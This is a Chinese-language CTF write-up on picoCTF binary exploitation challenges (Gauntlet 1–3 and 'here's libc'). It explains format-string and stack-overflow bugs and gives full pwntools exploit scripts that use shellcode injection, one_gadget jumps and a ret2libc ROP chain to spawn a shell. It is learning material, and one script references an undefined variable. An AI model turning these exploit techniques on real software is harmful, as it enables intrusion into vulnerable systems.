首先说一下,是参考了校内学长的复盘讲解hhh,这也是第一次直接接触在线的ctf而不是靶场。
Gauntlet1
在ida里面看一下。这三道Gauntlet都是一个类型的,漏洞都是一个格式化字符串+栈溢出。
那就很容易直接把shellcraft.sh()写道栈上,因为一开始给打印了背写区域的起始位置并且使可执行的栈,一溢出就会跳转到我们写的shellcraft上面执行。注意中间还要有个格式化字符串的额send,不要忘了,之前卡在这里好久啊。。。
exp
from pwn import *
context.arch = 'amd64'
context.log_level='debug'
io=process('./gauntlet1')
# io=remote('mercury.picoctf.net',24284)
# context.log_level='debug'
stack=int(io.recvline(),16)
# stack=hex(stack)
print "stack---->"+hex(stack)
io.sendline('a')
io.recv()
# gdb.attach(io,"b *0x40074D")
payload=asm(shellcraft.sh()).ljust(120,'a')
payload+=p64(stack)
io.sendline(payload)
io.interactive()
Gauntlet2
这题和上一题保护上没什么区别
只是不在给打印dst地址了,但是利用第一个格式化字符串漏洞可以泄露寄存器rsp的地址
Gauntlet3
这个题多加了一个栈不可执行保护。那么就用一般的格式化字符串流程,泄露一个标准库函数的加载地址,推算出libc基地址,再由基地址+偏移传递/bin/sh或者one_gardet到溢出位置getshell
这道题有一个比较坑的地方是格式化字符串不能直接打印libc库函数地址,并且没给libc。那就只能先寻找有偏移的了,一般找不到libc是先尝试UBUNTU18版本的,也就是2.27
这里学校学长用的是2.27-3ubuntu1.4_amd64
计算偏移量:可以根据栈上0的标志结合%p输出计算得到libc_start_main的偏移量为23。
输出一下
然后看看libc基址在什么位置被加载,则根据这两者之间的差也可以计算出偏移量
因此偏移量为0x21bf7之后的所有加载偏移量都不会再改变了。
之后就可以使用one_gardet
选择其中一个尝试一下发现就能过了。当然如果都过不了就直接system再rop rdi“/bin/sh”。但总之感觉这里是已经知道libc版本才敢这样写,否则会很心虚。。。不过也可以远程打印验证
exp
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
binary = ("./gauntlet")
elf = ELF(binary)
libc = elf.libc
r.sendline("%23$p")
a = int( r.recvline(), 16 ) - 0x21bf7
info("libc: " + hex(a))
libc.address = a
onegadget = a + 0x4f432
payload = 'a'*0x78 + p64(onegadget)
r.sendline(payload)
r.interactive()
here’s libc
打开ida,看一眼,发现do_stuff函数
这里相当于两个get(s)可以直接溢出,所以能劫持程序流程。
第一次溢出泄露puts的加载地址,第二次用one_gardet即可
然而one_gardet尝试了都没有用,那就直接发system但是这里有一个栈平衡问题,加上一个ret即可
from pwn import *
context.log_level='debug'
io=process('./vuln')
elf=ELF('./vuln')
libc=ELF('./libc.so.6')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
ret=0x000000000040052e
pop_rdi=0x0000000000400913
main=0x0000000000400771
io.recvline()
payload='a'*0x88+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendline(payload) # frist time overflow
io.recvline()
puts_addr = u64(io.recv(6).ljust(8,'\x00'))
print hex(puts_addr)
libc_addr=puts_addr-libc.sym['puts']
print "libc_addr----->"+hex(libc_addr)
# one_gardet is not useful
# one_gadget=0x10a45c+libc_addr
system=libc.sym['system']+libc_addr
bin_sh=libc.search('/bin/sh').next()+libc_addr
io.recvline()
payload2='a'*0x88+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)#keep stack balance
# gdb.attach(io,"b *0x000000000040076F")
io.sendline(payload2)
io.interactive()